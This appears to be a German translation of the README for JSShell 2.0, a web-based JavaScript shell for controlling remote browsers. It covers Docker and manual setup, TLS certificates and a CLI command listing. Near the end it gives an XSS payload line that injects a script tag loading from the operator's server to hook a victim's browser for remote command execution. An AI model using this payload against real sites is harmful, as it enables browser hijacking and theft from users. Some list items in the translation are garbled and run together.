
Eine interaktive Multi-User-Web-JS-Shell
Eine interaktive, multi-user-fähige, webbasierte JavaScript-Shell. Ursprünglich entwickelt, um entfernte exotische Browser während Experimenten und Forschungen zu debuggen. Dieses Tool kann einfach an XSS (Cross-Site-Scripting)-Payloads angehängt werden, um Remote-Code-Ausführung im Browser zu erreichen (ähnlich dem BeeF-Framework).
Version 2.0 wurde komplett neu entwickelt und bietet spannende neue Funktionen, Stabilität und Wartbarkeit.
<script>-TagsIm Verzeichnis resources aktualisieren Sie die Datei config.json mit Ihrer gewünschten Konfiguration:
docker-Bereitstellungsmethode wählen Sie den Datenbank-Host als db (der interne Hostname).shell.js-Datei führt AJAX-Aufrufe durch, um neue Befehle zu registrieren und abzufragen. Normalerweise lautet sie http[s]://{YOUR_SERVER_IP}:{PORT}.Jetzt unterstützt JSShell TLS, was bedeutet, dass Sie TLS-Zertifikate generieren und dem Webserver bereitstellen können. Der Webserver leitet den Domainnamen aus der config.json-Datei ab. Um das Zertifikat zu erstellen, verwenden Sie das Skript create_cert.py im Ordner scripts:
$ cd scripts
$ python create_cert.py --domain <IHR_DOMAIN> --email <IHRE_EMAIL>
Bitte beachten Sie, dass der Webserver gestoppt sein muss, damit das Skript ordnungsgemäß funktioniert. An diesem Punkt haben wir unsere Zertifikate erfolgreich generiert! Die einzigen Änderungen, die wir vornehmen müssen, sind:
config.json-Datei das Schema des URL-Feldes auf https.docker-compose.yml-Datei den exponierten Port des web-Containers auf 443.Diese neue Version unterstützt die Installation und Ausführung von JSShell über docker und docker-compose. Um das gesamte JSShell-Framework zu installieren und auszuführen, führen Sie einfach aus:
$ ./scripts/start_docker_shell.sh
Dies wird:
JSShell-Befehlszeilenschnittstellen-Containers startenWenn Sie immer noch die altmodische Installationsmethode verwenden möchten, stellen Sie einfach sicher, dass eine MongoDB-Datenbank läuft, und aktualisieren Sie die Datei config.json im Verzeichnis resources.
Ich empfehle die Verwendung einer virtuellen Umgebung mit pyenv:
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv
Oder mit virtualenv:
$ virtualenv -p python3.6 venv
$ source venv/bin/activate
Installieren Sie dann die Abhängigkeiten:
$ pip install -r requirements.txt
Wenn Sie die docker-Methode verwendet haben, ist es nicht nötig, die folgende Prozedur auszuführen.
Andernfalls müssen wir, nachdem die Datenbank eingerichtet ist, den Web-API-Server starten. Führen Sie dazu aus:
$ python manage.py web
Dies erstellt und startet einen Webserver, der eingehende Verbindungen abhört und unseren JSShell-Code ausliefert.
Um nun die JSShell-CLI zu starten, führen Sie dasselbe Skript aus, jetzt jedoch mit dem shell-Flag:
$ python manage.py shell
Nach der Einrichtung und dem Start der erforderlichen Komponenten geben Sie den Befehl help ein, um die verfügbaren Befehle anzuzeigen:
╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
by @Daniel_Abeles
>> help
Documented commands (type help <topic>):
Allgemeine Befehle
--------------------------------------------------------------------------------
edit Bearbeite eine Datei in einem Texteditor
help Liste verfügbarer Befehle oder detaillierte Hilfe für einen bestimmten Befehl
history Zeige, führe aus, bearbeite, speichere oder lösche zuvor eingegebene Befehle
ipy Starte eine interaktive IPython-Shell
py Python-Befehl oder -Shell aufrufen
quit Beende diese Anwendung
Shell-basierte Operationen
--------------------------------------------------------------------------------
back Hebe die Auswahl des aktuell ausgewählten Clients auf
clients Liste und steuere die Clients, die sich in unserem System registriert haben
commands Zeige die ausgeführten Befehle auf dem ausgewählten Client
dump Speichert einen Befehl auf der Festplatte
execute Führe Befehle auf dem ausgewählten Client aus
select Wähle einen Client als aktuellen Client aus
>>
JSShell unterstützt 2 Betriebsarten:
Ähnlich wie andere XSS-Kontroll-Frameworks (z. B. BeeF) ist JSShell in der Lage, erfolgreiche XSS-Ausnutzungen zu verwalten. Wenn Sie beispielsweise ein <script>-Tag injizieren können, fügen Sie die folgende Ressource in Ihren Payload ein, und ein neuer Client erscheint in Ihrer Konsole:
<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>
Wenn Sie exotische und esoterische Browser debuggen möchten, navigieren Sie einfach zu http[s]://{YOUR_SERVER_IP}:{PORT}/, und ein neuer Client wird in Ihrem JSShell-CLI-Client erscheinen. Er ist dann über unsere JSShell-Konsole debuggbar.
Canop für JSON.prune